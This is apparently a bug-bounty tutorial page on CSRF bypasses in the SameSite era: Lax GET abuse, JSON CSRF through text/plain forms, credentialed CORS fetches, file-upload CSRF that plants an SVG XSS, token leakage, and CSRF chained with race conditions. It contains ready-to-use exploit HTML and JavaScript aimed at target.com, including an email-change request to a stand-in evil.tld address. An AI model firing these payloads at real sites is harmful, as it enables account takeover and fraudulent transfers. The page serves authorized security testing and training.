Quick answer
CSRF "is dead" because Chrome made SameSite=Lax the default in 2020. But the bug class is still alive in 2026: SameSite=Lax allows cross-site GETs (any state-changing action implemented as a GET is exploitable), JSON CSRF works if the server accepts text/plain or bodies with a flexible Content-Type, and file upload CSRF is still the most profitable scenario when there is no anti-CSRF protection on multipart endpoints. Typical bounties: €500-€5,000+ when you chain with XSS or IDOR.
SameSite cookie modes — quick refresher
| Mode | Cross-site behavior | Default state |
|---|---|---|
Strict | The cookie is not sent on any cross-site request | Few sites |
Lax | Sent on a top-level GET (clicking a link) | Chrome default since 2020 |
None; Secure | Always sent (requires HTTPS) | Sites that need cross-site |
Lax is the default — and it opens up the whole surface of state-changing GETs.
SameSite=Lax bypass via GET
If the app has GET endpoints that change state (a frequent anti-pattern in legacy apps and sometimes in sloppy "REST-ish" endpoints), Lax exposes them:
<!-- attacker.tld/exploit.html -->
<a id="bait" href="https://target.com/account/delete?confirm=1">Click here</a>
<script>document.getElementById('bait').click();</script>
The click triggers a top-level GET → the Lax cookie travels → the action executes.
Typical vulnerable endpoints
GET /logout(low impact but a classic)GET /api/account/delete?id=XGET /email/change?to=atacante@evil.tldGET /password/reset/confirm?token=XGET /follow?user=X,GET /like?post=X
Bypass via <form method="GET">
If the endpoint only accepts GET, a form submit also works — but the browser navigates top-level (target=_top), which is equally Lax-friendly.
<form action="https://target.com/account/delete" method="GET" id="f">
<input type="hidden" name="confirm" value="1">
</form>
<script>document.getElementById('f').submit();</script>
[!warning] 2-minute Lax exception (Chrome) Chrome allows a cross-site top-level POST with Lax cookies during the first 2 minutes of the cookie's creation. If you force the victim to re-login (open redirect to OAuth, magic link, etc.) and your CSRF fires within <120s, the POST also works. Pattern documented in H1 reports with bounties €1500-€3000.
JSON CSRF — the bug that "doesn't exist"
The common narrative: "you can't do CSRF against a JSON endpoint because Content-Type: application/json requires a CORS preflight, and the attacker can't send preflights". False in 3 scenarios.
Scenario 1 — Server accepts bodies with a flexible Content-Type
The endpoint declares that it accepts JSON but parses any body. Send Content-Type: text/plain (which is "simple" — no preflight required) with a body that looks like JSON:
<form action="https://api.target.com/transfer" method="POST" enctype="text/plain">
<input name='{"amount":1000,"to":"atacante","ignore":"' value='ignore"}'>
</form>
<script>document.forms[0].submit();</script>
The body ends up as {"amount":1000,"to":"atacante","ignore":"=ignore"} — the app parses the whole JSON and processes the transfer.
Scenario 2 — Server accepts application/json without verifying Origin/Referer
If the app has open CORS (Access-Control-Allow-Origin: * or a reflected origin) AND Access-Control-Allow-Credentials: true, a normal fetch sends the cookies:
fetch("https://api.target.com/transfer", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ amount: 1000, to: "atacante" })
});
This is CSRF + CORS misconfig — the preflight passes because the server accepts it.
Scenario 3 — Flash multipart (legacy but still findable)
In very legacy apps (that still support Flash or have reverse proxies with weird normalization), Content-Type: multipart/form-data can arrive as JSON at the backend if the parser inspects the body:
Content-Type: multipart/form-data; boundary=foo
--foo
{"amount":1000}
--foo--
Reverse proxy + backend with a lax parser → the body is interpreted as JSON.
<!-- PAYWALL -->File upload CSRF — the most profitable scenario
Upload endpoints almost never use a CSRF token (because "you can't send multipart cross-origin without a preflight"). False since HTML5.
Multipart form from another origin
<!-- attacker.tld/exploit.html -->
<form action="https://target.com/api/upload" method="POST" enctype="multipart/form-data" id="f">
<input type="file" name="file" id="i">
</form>
<script>
const file = new File([
'<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>'
], 'pwn.svg', { type: 'image/svg+xml' });
const dt = new DataTransfer();
dt.items.add(file);
document.getElementById('i').files = dt.files;
document.getElementById('f').submit();
</script>
If the endpoint:
- Doesn't require a CSRF token
- Serves the uploaded file on the same domain (
target.com/uploads/...) - Doesn't restrict the file's real MIME
→ Stored XSS via CSRF + SVG. Typical bounty €1,500-€3,500.
Chain with avatar upload
Avatar upload + missing CSRF token + the avatar served same-origin = persistent stored XSS on the victim's profile.
CSRF token leakage
When there's a CSRF token, the next step is to leak it:
Via Referer
<!-- target.com/profile?token=ABCD -->
<a href="https://attacker.tld/track">Click</a>
The click sends Referer: https://target.com/profile?token=ABCD → the attacker reads the token from their logs. Correct fix: Referrer-Policy: strict-origin or no-referrer.
Via XSS on the same domain
XSS anywhere on the domain → fetch /api/csrf-token → you have the token → you fire an "authentic" CSRF. That's why XSS+CSRF protection doesn't protect against XSS.
Via cache poisoning
If the page with <meta name="csrf-token"> is cached by the CDN without varying per user → your cached token goes to the victim. Fix: Cache-Control: private or never cache pages with a token.
Via subdomain XSS
XSS on blog.target.com + cookies Domain=.target.com → your JS on the blog can read cookies with secret_token that apply to the main domain.
CSRF with SameSite=Strict — the holy grail
Strict blocks all cross-site cookies. Even so there are documented scenarios:
Subdomain takeover + cookie scoping
If you control *.target.com (subdomain takeover) and the cookie has Domain=.target.com, your controlled subdomain can send same-site requests (not cross-site) with the cookie. Strict doesn't protect.
Browser extension / cross-app injection
If the victim has an extension that injects your JS into target.com (XSS via extension, malware), the JS runs same-origin → bypassing Strict.
Top-level GET navigation to an OAuth/SSO link (Strict variant)
In some browsers/configs, auth redirects (302 from accounts.target.com/oauth?...) arrive at the target's callback with the Strict cookie — historically a documented bug class, partially patched in Chrome 90+. Still a scenario to test.
Chain CSRF + race condition (real €2400 bounty)
Pattern documented in financial programs: the "confirm transfer" endpoint validates the CSRF token but the logic has a race condition in the balance check.
Victim → GET /transfer/form (token CSRF emitido)
Attacker → CSRF a la víctima con N requests paralelas del confirm
Server: race condition entre [check balance] y [debit balance]
→ N transferencias por el mismo balance
Single-packet attack (HTTP/2) + CSRF = a single victim interaction fires N simultaneous races.
[!success] Real bounty H1 booking marketplace program — CSRF + race on a coupon endpoint → coupon applied 12 times → refund above the original price. Reward $2,400 + chain bonus.
Incorrect CSRF token validation — patterns
Token accepted if empty
POST /api/transfer
X-CSRF-Token: ← header presente pero vacío
The app checks "the header exists" but not "it has the correct value". Bypass.
Token accepted if absent
The app only validates if the header is present. Remove the header → the validation is skipped.
Global token shared across users
CSRF token derived from a global secret, not per-session. The attacker gets a token from their session and uses it in the victim's CSRF.
Token "verified" on GET but not on POST
The form generates a token and sends it on GET. The server verifies the token on GET (parsing the form) but the POST submit endpoint doesn't re-verify it.
Hunting checklist
- Identify state-changing endpoints that accept GET — exploitable via Lax.
- For POST: check the accepted Content-Type (does it accept text/plain or form-urlencoded?).
- CORS misconfig + credentials → direct fetch with
credentials:"include". - File upload endpoints — few have a CSRF token. Multipart cross-origin with DataTransfer.
- CSRF token bypass: empty, absent, global, not re-validated.
- Token leakage via Referer (missing
Referrer-Policy), cache, subdomain XSS. - SameSite=Strict apps: try subdomain takeover + cookie Domain=.target.com.
- 2-min Lax window: chain with an auth flow that re-issues cookies (OAuth callback).
- Race conditions on top of CSRF — single-packet attack for chains.
- Document impact: ATO, transfer, role change, public info exposure.
Related labs
Practice SameSite bypass, JSON CSRF and file upload CSRF in CSRF labs.
Practice this in a lab
Csrf Explicado Completo
Keep learning · free account
Save your progress, unlock advanced payloads and rank your flags.
There's an extra payload at the end
El chain CSRF + race condition que bypasea SameSite=Strict via top-level GET navigation — bounty €2400 en H1 program.
€7.99/mo · cancel anytime
Related articles
Cloudflare WAF — payload size bypass, oversized body, plan-specific limits
Bypassing the Cloudflare WAF by exploiting body size limits per plan (Free 100kb, Pro 100kb, Business 500kb, Enterprise 1mb): oversize payload trick + chunked transfer encoding.
CSRF (Cross-Site Request Forgery) — fully explained with bypasses
CSRF: how it's exploited, common defenses (tokens, SameSite, Origin), bypasses (method change, JSON, double-submit, content-type) and where to hunt it in any app.
OAuth attacks — state CSRF, redirect_uri bypass, code/token leakage
The missing state parameter, poorly validated redirect_uri, response_type confusion. How to steal OAuth tokens and force account linking.